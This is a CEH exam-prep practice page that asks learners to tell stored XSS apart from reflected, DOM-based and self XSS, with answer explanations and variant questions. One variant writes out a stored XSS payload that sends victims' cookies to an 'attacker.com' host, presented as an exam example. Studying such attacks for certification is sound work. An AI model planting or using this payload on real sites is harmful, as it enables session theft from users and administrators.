The answer is stored XSS, also known as persistent XSS, because the malicious script is permanently stored on the server—in this case, within the database—and executes every time a different user loads the feedback page. This contrasts with reflected XSS, where the payload is only triggered from a single crafted link, or DOM-based XSS, which manipulates client-side scripts without server storage. On the Certified Ethical Hacker CEH exam, this scenario tests your ability to distinguish attack vectors by data flow: if the payload lives on the server and affects multiple users, it is stored XSS. A common trap is confusing stored XSS with reflected XSS when the input is submitted via a form, but the key differentiator is persistence—the payload remains after submission. Remember the memory tip: “Stored is stored on the server; reflected is reflected in the request.”
CEH Web Application and Injection Attacks Practice Question
This CEH practice question tests your understanding of web application and injection attacks. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
A web application allows users to submit feedback that is stored in a database and displayed to other users without proper sanitization. A tester inputs '<script>alert(1)</script>' and it executes when other users view the feedback. Which type of XSS is this?
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Stored XSS
The payload is stored in the database and executed when other users load the page, which is stored (persistent) XSS.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✗
Self-XSS
Why it's wrong here
Self-XSS requires the user to paste script into input themselves, not automatic execution.
✗
DOM-based XSS
Why it's wrong here
DOM-based XSS occurs client-side via JavaScript manipulating the DOM, not server-side storage.
✓
Stored XSS
Why this is correct
The script is stored on the server and executed for every user viewing the feedback, which is stored XSS.
Related concept
Read the scenario before looking for a memorised answer.
✗
Reflected XSS
Why it's wrong here
Reflected XSS is not stored; it appears in the response immediately, typically via a crafted link.
Common exam traps
Common exam trap: answer the scenario, not the keyword
Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.
Detailed technical explanation
How to think about this question
This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
Use explanations to understand the rule behind the answer.
TExam Day Tips
→Underline the problem statement mentally.
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A practitioner preparing for the CEH exam encounters this exact type of scenario on the job. The correct answer here is not the most general option — it is the best answer for the specific constraint described. Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option. Real exam questions reward reading the full scenario before eliminating options, because the constraint defines which answer fits.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this CEH question in full detail.
Identify which CEH exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
Web Application and Injection Attacks — This question tests Web Application and Injection Attacks — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Stored XSS — The payload is stored in the database and executed when other users load the page, which is stored (persistent) XSS.
What should I do if I get this CEH question wrong?
Identify which CEH exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
About these practice questions
Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. A security analyst observes that a web application allows users to submit feedback, and after submission, the feedback is displayed on a public page. An attacker submits feedback containing the script: <script>document.location='http://attacker.com/?c='+document.cookie</script>. When an admin views the public page, the script executes. Which type of attack occurred?
medium
A.Reflected XSS
B.Cross-site request forgery (CSRF)
C.DOM-based XSS
✓ D.Stored XSS
Why D: The script is stored on the server (feedback) and executed when the admin views the page. This is persistent (stored) XSS.
Variation 2. A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing <script>alert('stored')</script>. When an admin views the feedback page, the script executes. Which type of XSS is this?
medium
A.Blind XSS
B.Reflected XSS
✓ C.Stored XSS
D.DOM-based XSS
Why C: Stored (persistent) XSS occurs when the payload is stored on the server and served to other users later.
Last reviewed: Jun 21, 2026
Question Discussion
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